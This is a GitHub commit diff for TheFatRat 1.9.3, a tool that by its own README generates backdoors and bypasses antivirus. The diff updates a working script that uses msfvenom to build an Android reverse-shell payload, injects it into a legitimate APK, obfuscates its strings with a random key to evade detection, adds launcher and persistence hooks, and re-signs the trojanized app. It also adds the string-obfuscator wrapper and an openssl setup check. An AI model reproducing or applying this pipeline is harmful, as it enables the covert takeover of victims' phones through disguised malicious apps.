0
0
Fork 0
mirror of https://github.com/Screetsec/TheFatRat.git synced 2023-12-14 02:02:58 +01:00

Update 1.9.3

This commit is contained in:
root 2017-04-08 17:20:22 -04:00
parent 3484689d11
commit d35caf0317
11 changed files with 142 additions and 89 deletions

View file

@ -1,5 +1,6 @@
## CHANGELOG
* v1.9.3 - Updated dana travis backdoor-apk to 2.2.2 into fatrat / added openssl in setup
* v1.9.2 - Msfvenom Android rat will be signed with android certificate , so it can be installed properly
* v1.9.2 - Implemented Default Lhost & Lport config to fatrat & powerfull shell creator
* v1.9.2 - Fixed payload in pnwinds option2

View file

@ -3,17 +3,13 @@
# TheFatRat ( Unit for bypass av )
## Update: Version 1.9.2
## Update: Version 1.9.3
## Codename: Whistle
### Thefatrat a massive exploiting tool revealed
An easy tool to generate backdoor and easy tool to post exploitation attack like browser attack,dll . This tool compiles a malware with popular payload and then the compiled malware can be execute on windows, android, mac . The malware that created with this tool also have an ability to bypass most AV software protection .
#### New Changes in fatrat 1.9.2
Lhost & Lport Automatic Input / signed android Payload | link : https://www.youtube.com/watch?v=AyzsSaRE7ZQ
# Screenshot
<img src="https://s14.postimg.org/3yutjrkrl/frnew.png" width="55%"></img>
# ---------------------------------------------------------------

138
backdoor_apk → backdoor-apk Normal file → Executable file
View file

@ -33,6 +33,7 @@ APKTOOL=`sed -n 12p $file`
PROGUARD=`sed -n 9p $file`
DX=`sed -n 10p $file`
ZIPALIGN=`sed -n 8p $file`
ASO=tools/android-string-obfuscator/lib/aso
proconfig=config/android.pro
else
echo -e $red"Configuration file does not exists , run setup.sh first for config ."
@ -53,15 +54,10 @@ exit 1
fi
# apt-get install lib32z1 lib32ncurses5 lib32stdc++6
VERSION="0.2.1"
# file paths and misc
location=$1
VERSION="0.2.2"
LOG_FILE=$MY_PATH/logs/apk.log
TIME_OF_RUN=`date`
# for functions
FUNC_RESULT=""
# functions
function find_smali_file {
# $1 = smali_file_to_hook
@ -126,19 +122,19 @@ function hook_smali_file {
function verify_orig_apk {
if [ -z $MY_PATH/temp/$ORIG_APK_FILE ]; then
echo -e $red "[!] No original APK file specified"
echo "[!] No original APK file specified"
exit 1
fi
if [ ! -f $MY_PATH/temp/$ORIG_APK_FILE ]; then
echo -e $red "[!] Original APK file specified does not exist"
echo "[!] Original APK file specified does not exist"
exit 1
fi
$UNZIP -l $MY_PATH/temp/$ORIG_APK_FILE >>$LOG_FILE 2>&1
rc=$?
if [ $rc != 0 ]; then
echo -e $red "[!] Original APK file specified is not valid"
echo "[!] Original APK file specified is not valid"
exit $rc
fi
}
@ -147,14 +143,13 @@ function consult_which {
which $1 >>$LOG_FILE 2>&1
rc=$?
if [ $rc != 0 ]; then
echo -e $red "[!] Check your environment and configuration. Couldn't find: $1"
echo "[!] Check your environment and configuration. Couldn't find: $1"
exit $rc
fi
}
function init {
echo "Running createapk ( fatrat 1.9 Edition ) at $TIME_OF_RUN" >$LOG_FILE 2>&1
echo "Running Backdoor-apk 2.2.2 ( fatrat 1.9 Edition ) at $TIME_OF_RUN" >$LOG_FILE 2>&1
consult_which $MSFVENOM
consult_which $DEX2JAR
consult_which $UNZIP
@ -162,6 +157,7 @@ function init {
consult_which $JARSIGNER
consult_which $APKTOOL
consult_which $PROGUARD
consult_which $ASO
consult_which $DX
consult_which $ZIPALIGN
verify_orig_apk
@ -170,31 +166,32 @@ function init {
# kick things off
init
# generate Metasploit resource script
# credit to John Troony for the suggestion
echo ""
echo -e $green "[*] Creating RAT Apk File "
$MSFVENOM -f raw -p $PAYLOAD LHOST=$LHOST LPORT=$LPORT -o $MY_PATH/temp/$RAT_APK_FILE >>$LOG_FILE 2>&1
$MSFVENOM -a dalvik --platform android -p $PAYLOAD LHOST=$LHOST LPORT=$LPORT -f raw -o $MY_PATH/temp/$RAT_APK_FILE >>$LOG_FILE 2>&1
rc=$?
echo "done."
if [ $rc != 0 ] || [ ! -f $MY_PATH/temp/$RAT_APK_FILE ]; then
echo -e $red "[!] Failed to generate RAT APK file"
exit 1
fi
echo -e $green "[*] Decompiling RAT APK file..."
echo -e $green "[*] Decompiling RAT APK file..."
$APKTOOL d -f -o $MY_PATH/temp/payload $MY_PATH/temp/$RAT_APK_FILE >>$LOG_FILE 2>&1
rc=$?
echo -e $yellow "done."
echo "done."
if [ $rc != 0 ]; then
echo -e $red "[!] Failed to decompile RAT APK file"
cleanup
exit $rc
fi
echo -e $green "[*] Decompiling original APK file..."
$APKTOOL d -f -o $MY_PATH/temp/original $MY_PATH/temp/$ORIG_APK_FILE >>$LOG_FILE 2>&1
$APKTOOL d -f -o $MY_PATH/temp/payload $MY_PATH/temp/$RAT_APK_FILE >>$LOG_FILE 2>&1
rc=$?
echo -e $yellow "done."
echo "done."
if [ $rc != 0 ]; then
echo -e $red "[!] Failed to decompile original APK file"
cleanup
exit $rc
fi
@ -207,7 +204,7 @@ for i in `seq 1 4`; do
placeholder="$placeholder$hex"
done
echo "placeholder value: $placeholder" >>$LOG_FILE 2>&1
tmp_perms_file=$MY_PATH/temp/perms.tmp
tmp_perms_file=$MY_PATH/perms.tmp
original_manifest_file=$MY_PATH/temp/original/AndroidManifest.xml
payload_manifest_file=$MY_PATH/temp/payload/AndroidManifest.xml
merged_manifest_file=$MY_PATH/temp/original/AndroidManifest.xml.merged
@ -221,7 +218,7 @@ mv $merged_manifest_file.uniq $merged_manifest_file
sed -i "s/$placeholder/$(sed -e 's/[\&/]/\\&/g' -e 's/$/\\n/' $tmp_perms_file | tr -d '\n')/" $merged_manifest_file
diff $original_manifest_file $merged_manifest_file >>$LOG_FILE 2>&1
mv $merged_manifest_file $original_manifest_file
echo -e $yellow "done."
echo "done."
# cleanup payload directory after merging app permissions
rm -rf $MY_PATH/temp/payload >>$LOG_FILE 2>&1
@ -235,7 +232,7 @@ mv $MY_PATH/temp/$RAT_APK_FILE $MY_PATH/temp/bin/classes >>$LOG_FILE 2>&1
$DEX2JAR $MY_PATH/temp/bin/classes/$RAT_APK_FILE -o $MY_PATH/temp/bin/classes/Rat-dex2jar.jar >>$LOG_FILE 2>&1
rc=$?
if [ $rc != 0 ]; then
echo -e $yellow "done."
echo "done."
echo -e $red "[!] Failed to run dex2jar on RAT APK file"
exit $rc
fi
@ -243,34 +240,34 @@ fi
cp -R $MY_PATH/java/classes/* $MY_PATH/temp/libs/ >>$LOG_FILE 2>&1
rc=$?
if [ $rc != 0 ]; then
echo -e $yellow "done."
echo "done."
echo -e $red "[!] Failed to inject Java classes"
exit $rc
fi
cd $MY_PATH/temp/bin/classes/
cd $MY_PATH/temp/bin/classes
jar xvf $MY_PATH/temp/bin/classes/Rat-dex2jar.jar >>$LOG_FILE 2>&1
cd $MY_PATH
rm $MY_PATH/temp/bin/classes/*.apk $MY_PATH/temp/bin/classes/*.jar >>$LOG_FILE 2>&1
$PROGUARD @$proconfig >>$LOG_FILE 2>&1
rc=$?
if [ $rc != 0 ]; then
echo -e $yellow "done."
echo "done."
echo -e $red "[!] Failed to run proguard with specified configuration"
exit $rc
fi
$DX --dex --output="$MY_PATH/temp/$RAT_APK_FILE" $MY_PATH/temp/bin/classes-processed.jar >>$LOG_FILE 2>&1
rc=$?
if [ $rc != 0 ]; then
echo -e $yellow "done."
echo "done."
echo -e $red "[!] Failed to run dx on proguard processed jar file"
exit $rc
fi
echo -e $yellow "done."
echo "done."
echo -e $green "[*] Decompiling obfuscated RAT APK file..."
$APKTOOL d -f -o $MY_PATH/temp/payload $MY_PATH/temp/$RAT_APK_FILE >>$LOG_FILE 2>&1
rc=$?
echo -e $yellow "done."
echo "done."
if [ $rc != 0 ]; then
echo -e $red "[!] Failed to decompile RAT APK file"
exit $rc
@ -292,7 +289,7 @@ echo "payload_sub_dir is: $payload_sub_dir" >>$LOG_FILE 2>&1
echo -e $green "[*] Creating new directories in original project for RAT smali files..."
mkdir -v -p $MY_PATH/temp/original/smali/$payload_tld/$payload_primary_dir/$payload_sub_dir >>$LOG_FILE 2>&1
rc=$?
echo -e $yellow "done."
echo "done."
if [ $rc != 0 ]; then
echo -e $red "[!] Failed to create new directories for RAT smali files"
exit $rc
@ -309,7 +306,7 @@ if [ $rc == 0 ]; then
cp -v $MY_PATH/temp/payload/smali/net/dirtybox/util/*.smali $MY_PATH/temp/original/smali/$payload_tld/$payload_primary_dir/$payload_sub_dir/ >>$LOG_FILE 2>&1
rc=$?
fi
echo -e $yellow "done."
echo "done."
if [ $rc != 0 ]; then
echo -e $red "[!] Failed to copy RAT smali files"
exit $rc
@ -326,7 +323,7 @@ if [ $rc == 0 ]; then
sed -i 's|net\([./]\)dirtybox\([./]\)util|'"$payload_tld"'\1'"$payload_primary_dir"'\2'"$payload_sub_dir"'|g' $MY_PATH/temp/original/smali/$payload_tld/$payload_primary_dir/$payload_sub_dir/*.smali >>$LOG_FILE 2>&1
rc=$?
fi
echo -e $yellow "done."
echo "done."
if [ $rc != 0 ]; then
echo -e $red "[!] Failed to fix RAT smali files"
exit $rc
@ -335,16 +332,41 @@ fi
echo -e $green "[*] Obfuscating const-string values in RAT smali files..."
cat >$MY_PATH/temp/obfuscate.method <<EOL
invoke-static {###REG###}, L###CLASS###;->a(Ljava/lang/String;)Ljava/lang/String;
invoke-static {###REG###}, L###CLASS###;->b(Ljava/lang/String;)Ljava/lang/String;
move-result-object ###REG###
EOL
stringobfuscator_class=`ls $MY_PATH/temp/original/smali/$payload_tld/$payload_primary_dir/$payload_sub_dir/*.smali |grep -v "AppBoot" |grep -v "MainService" |sort -r |head -n 1 |sed "s:$MY_PATH/temp/original/smali/::g" |sed "s:.smali::g"`
echo "StringObfuscator class: $stringobfuscator_class" >>$LOG_FILE 2>&1
so_class_suffix=`echo $stringobfuscator_class |awk -F "/" '{ printf "%s.smali", $4 }'`
echo "StringObfuscator class suffix: $so_class_suffix" >>$LOG_FILE 2>&1
so_default_key="7IPR19mk6hmUY+hdYUaCIw=="
so_key=$so_default_key
which openssl >>$LOG_FILE 2>&1
rc=$?
if [ $rc == 0 ]; then
so_key="$(openssl rand -base64 16)"
rc=$?
fi
if [ $rc == 0 ]; then
file="$MY_PATH/temp/original/smali/$stringobfuscator_class.smali"
sed -i 's%'"$so_default_key"'%'"$so_key"'%' $file >>$LOG_FILE 2>&1
rc=$?
if [ $rc == 0 ]; then
echo "Injected new key into StringObufscator class" >>$LOG_FILE 2>&1
else
echo "Failed to inject new key into StringObfuscator class, using default key" >>$LOG_FILE 2>&1
so_key=$so_default_key
fi
else
echo "Failed to generate a new StringObfuscator key, using default key" >>$LOG_FILE 2>&1
so_key=$so_default_key
fi
echo "StringObfuscator key: $so_key" >>$LOG_FILE 2>&1
sed -i 's/[[:space:]]*"$/"/g' $MY_PATH/temp/original/smali/$payload_tld/$payload_primary_dir/$payload_sub_dir/*.smali >>$LOG_FILE 2>&1
rc=$?
if [ $rc == 0 ]; then
grep "const-string" $MY_PATH/temp/original/smali/$payload_tld/$payload_primary_dir/$payload_sub_dir/*.smali |while read -r line; do
grep "const-string" --exclude="$so_class_suffix" $MY_PATH/temp/original/smali/$payload_tld/$payload_primary_dir/$payload_sub_dir/*.smali |while read -r line; do
file=`echo $line |awk -F ": " '{ print $1 }'`
echo "File: $file" >>$LOG_FILE 2>&1
target=`echo $line |awk -F ", " '{ print $2 }'`
@ -352,36 +374,39 @@ if [ $rc == 0 ]; then
tmp=`echo $line |awk -F ": " '{ print $2 }'`
reg=`echo $tmp |awk '{ print $2 }' |sed 's/,//'`
echo "Reg: $reg" >>$LOG_FILE 2>&1
trlist_max_line=`wc -l $MY_PATH/lists/trlist.txt |awk '{ print $1 }'`
trlist_rand_line=`shuf -i 1-${trlist_max_line} -n 1`
trlist_line=`sed "${trlist_rand_line}q;d" $MY_PATH/lists/trlist.txt`
shift_count=$(awk '{ print $1 }' <<< $trlist_line)
shift_tr_value=$(awk '{ print $2 }' <<< $trlist_line)
echo "Shift count: $shift_count" >>$LOG_FILE 2>&1
echo "Shift tr value: $shift_tr_value" >>$LOG_FILE 2>&1
replacement=`echo $target |tr '[A-Za-z]' $shift_tr_value |sed 's:^":"'"$shift_count"':g'`
stripped_target=`sed -e 's/^"//' -e 's/"$//' <<<"$target"`
replacement=`$ASO e "$stripped_target" k "$so_key"`
rc=$?
if [ $rc != 0 ]; then
echo "Failed to obfuscate target value" >>$LOG_FILE 2>&1
touch $MY_PATH/temp/obfuscate.error
break
fi
replacement="\"$(echo $replacement)\""
echo "Replacement: $replacement" >>$LOG_FILE 2>&1
sed -i 's%'"$target"'%'"$replacement"'%' $file >>$LOG_FILE 2>&1
rc=$?
if [ $rc != 0 ]; then
echo "Failed to replace target value" >>$LOG_FILE 2>&1
touch $MY_PATH/temp/obfuscate.error
break
fi
sed -i '\|'"$replacement"'|r '"$MY_PATH/temp"'/obfuscate.method' $file >>$LOG_FILE 2>&1
rc=$?
if [ $rc != 0 ]; then
echo "Failed to inject unobfuscate method call" >>$LOG_FILE 2>&1
touch $MY_PATH/temp/obfuscate.error
break
fi
sed -i 's/###REG###/'"$reg"'/' $file >>$LOG_FILE 2>&1
rc=$?
if [ $rc != 0 ]; then
echo "Failed to inject register value" >>$LOG_FILE 2>&1
touch $MY_PATH/temp/obfuscate.error
break
fi
done
if [ ! -f $MY_PATH/temp/obfuscate.error ]; then
#class="$payload_tld/$payload_primary_dir/$payload_sub_dir/e"
class="$stringobfuscator_class"
sed -i 's|###CLASS###|'"$class"'|' $MY_PATH/temp/original/smali/$payload_tld/$payload_primary_dir/$payload_sub_dir/*.smali
rc=$?
@ -390,7 +415,7 @@ if [ $rc == 0 ]; then
rc=1
fi
fi
echo -e $yellow "done."
echo "done."
if [ $rc != 0 ]; then
echo -e $red "[!] Failed to obfuscate const-string values in RAT smali files"
exit $rc
@ -425,11 +450,11 @@ smali_file_to_hook=$MY_PATH/temp/original/smali/$android_class.smali
find_smali_file $smali_file_to_hook $android_class
rc=$?
if [ $rc != 0 ]; then
echo -e $yellow "done."
echo "done."
echo -e $red "[!] Failed to locate smali file to hook"
exit $rc
else
echo -e $yellow "done."
echo "done."
smali_file_to_hook=$FUNC_RESULT
echo "The smali file to hook: $smali_file_to_hook" >>$LOG_FILE 2>&1
fi
@ -437,10 +462,10 @@ fi
echo -e $green "[*] Adding hook in original smali file..."
hook_smali_file $payload_tld $payload_primary_dir $payload_sub_dir $smali_file_to_hook
rc=$?
echo -e $yellow "done."
echo "done."
if [ $rc != 0 ]; then
echo -e $red "[!] Failed to add hook"
exit $rc
exit $rc
fi
echo -e $green "[*] Adding persistence hook in original project..."
@ -462,7 +487,7 @@ if [ $rc == 0 ]; then
rc=$?
fi
fi
echo -e $yellow "done."
echo "done."
if [ $rc != 0 ]; then
echo -e $red "[!] Failed to add persistence hook"
exit $rc
@ -471,7 +496,7 @@ fi
echo -e $green "[*] Recompiling original project with backdoor..."
$APKTOOL b $MY_PATH/temp/original >>$LOG_FILE 2>&1
rc=$?
echo -e $yellow "done."
echo "done."
if [ $rc != 0 ]; then
echo -e $red "[!] Failed to recompile original project with backdoor"
exit $rc
@ -503,7 +528,7 @@ start_ts=$(TZ=UTC date -ud "$from_date_norm" +'%s')
validity=$(( ( (${end_ts} - ${start_ts}) / (60*60*24) ) ))
echo "Value of validity: $validity" >>$LOG_FILE 2>&1
echo -e $green "[*] Generating RSA key for signing..."
echo -n "[*] Generating RSA key for signing..."
$KEYTOOL -genkey -noprompt -alias signing.key -startdate "$from_date_str" -validity $validity -dname "$dname" -keystore $keystore -storepass android -keypass android -keyalg RSA -keysize 2048 >>$LOG_FILE 2>&1
rc=$?
if [ $rc != 0 ]; then
@ -511,7 +536,7 @@ if [ $rc != 0 ]; then
$KEYTOOL -genkey -noprompt -alias signing.key -validity 10000 -dname "$dname" -keystore $keystore -storepass android -keypass android -keyalg RSA -keysize 2048 >>$LOG_FILE 2>&1
rc=$?
fi
echo -e $yellow "done."
echo "done."
if [ $rc != 0 ]; then
echo -e $red "[!] Failed to generate RSA key"
exit $rc
@ -520,7 +545,7 @@ fi
echo -e $green "[*] Signing recompiled APK..."
$JARSIGNER -sigalg SHA1withRSA -digestalg SHA1 -keystore $keystore -storepass android -keypass android $compiled_apk signing.key >>$LOG_FILE 2>&1
rc=$?
echo -e $yellow "done."
echo "done."
if [ $rc != 0 ]; then
echo -e $red "[!] Failed to sign recompiled APK"
exit $rc
@ -529,7 +554,7 @@ fi
echo -e $green "[*] Verifying signed artifacts..."
$JARSIGNER -verify -certs $compiled_apk >>$LOG_FILE 2>&1
rc=$?
echo -e $yellow "done."
echo "done."
if [ $rc != 0 ]; then
echo -e $red "[!] Failed to verify signed artifacts"
exit $rc
@ -540,14 +565,13 @@ mv $compiled_apk $unaligned_apk
echo -e $green "[*] Aligning recompiled APK..."
$ZIPALIGN 4 $unaligned_apk $compiled_apk >>$LOG_FILE 2>&1
rc=$?
echo -e $yellow "done."
echo "done."
if [ $rc != 0 ]; then
echo -e $red "[!] Failed to align recompiled APK"
exit $rc
fi
rm $unaligned_apk
#Checking finished apk file
fiapk=$MY_PATH/temp/original/dist/app.apk
if [ -f "$fiapk" ]

View file

@ -157,6 +157,7 @@
-keep,allowobfuscation public class net.dirtybox.util.obfuscation.StringObfuscator {
public static java.lang.String obfuscate(java.lang.String);
public static java.lang.String unobfuscate(java.lang.String);
}
# If you wish, you can let the optimization step remove Android logging calls.

2
fatrat
View file

@ -46,7 +46,7 @@ fi
#SAMARAN TAMPAN
path=`pwd`
Versi=1.9.2
Versi=1.9.3
codename=Whistle
OS=`uname` #
distro=$dist0

View file

@ -1,25 +0,0 @@
01 [Z-ZA-Yz-za-y]
02 [Y-ZA-Xy-za-x]
03 [X-ZA-Wx-za-w]
04 [W-ZA-Vw-za-v]
05 [V-ZA-Uv-za-u]
06 [U-ZA-Tu-za-t]
07 [T-ZA-St-za-s]
08 [S-ZA-Rs-za-r]
09 [R-ZA-Qr-za-q]
10 [Q-ZA-Pq-za-p]
11 [P-ZA-Op-za-o]
12 [O-ZA-No-za-n]
13 [N-ZA-Mn-za-m]
14 [M-ZA-Lm-za-l]
15 [L-ZA-Kl-za-k]
16 [K-ZA-Jk-za-j]
17 [J-ZA-Ij-za-i]
18 [I-ZA-Hi-za-h]
19 [H-ZA-Gh-za-g]
20 [G-ZA-Fg-za-f]
21 [F-ZA-Ef-za-e]
22 [E-ZA-De-za-d]
23 [D-ZA-Cd-za-c]
24 [C-ZA-Bc-za-b]
25 [B-ZA-Ab-za-a]

View file

@ -209,6 +209,21 @@ which ruby >> $log 2>&1
sleep 2
fi
#Checking if Openssl exists
which openssl > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo -e $green "[ ✔ ] Openssl...........................[ found ]"
which openssl >> $log 2>&1
sleep 2
else
echo -e $red "[ X ] Openssl -> not found "
echo -e $yellow "[ ! ] Installing Openssl "
xterm -T "☣ INSTALL OPENSSL ☣" -geometry 100x30 -e "sudo apt-get install openssl -y"
echo -e $green "[ ✔ ] Done installing ...."
which openssl >> $log 2>&1
sleep 2
fi
#Checking if Jarsigner exists
which jarsigner > /dev/null 2>&1
if [ "$?" -eq "0" ]; then

View file

@ -0,0 +1,41 @@
#!/bin/bash
# Set up prog to be the path of this script, including following symlinks,
# and set up progdir to be the fully-qualified pathname of its directory.
prog="$0"
while [ -h "${prog}" ]; do
newProg=`/bin/ls -ld "${prog}"`
newProg=`expr "${newProg}" : ".* -> \(.*\)$"`
if expr "x${newProg}" : 'x/' >/dev/null; then
prog="${newProg}"
else
progdir=`dirname "${prog}"`
prog="${progdir}/${newProg}"
fi
done
oldwd=`pwd`
progdir=`dirname "${prog}"`
cd "${progdir}"
progdir=`pwd`
prog="${progdir}"/`basename "${prog}"`
cd "${oldwd}"
jarfile=aso.jar
libdir="$progdir"
if [ ! -r "$libdir/$jarfile" ]
then
echo `basename "$prog"`": can't find $jarfile"
exit 1
fi
if [ "$OSTYPE" = "cygwin" ] ; then
jarpath=`cygpath -w "$libdir/$jarfile"`
else
jarpath="$libdir/$jarfile"
fi
# add current location to path
PATH=$PATH:`pwd`;
export PATH;
exec java -cp "$jarpath" net.dirtybox.util.obfuscation.AndroidStringObfuscator "$@"

Binary file not shown.

View file

@ -23,7 +23,7 @@ def findlauncheractivity(amanifest)
end
for cat in category
categoryname = cat.attribute('name')
if (categoryname.to_s == 'android.intent.category.LAUNCHER' || categoryname.to_s == 'android.intent.action.MAIN' || categoryname.to_s == 'android.intent.category.DEFAULT')
if (categoryname.to_s == 'android.intent.category.LAUNCHER' || categoryname.to_s == 'android.intent.action.MAIN')
activityname = activityname.to_s
unless activityname.start_with?(package)
activityname = package + activityname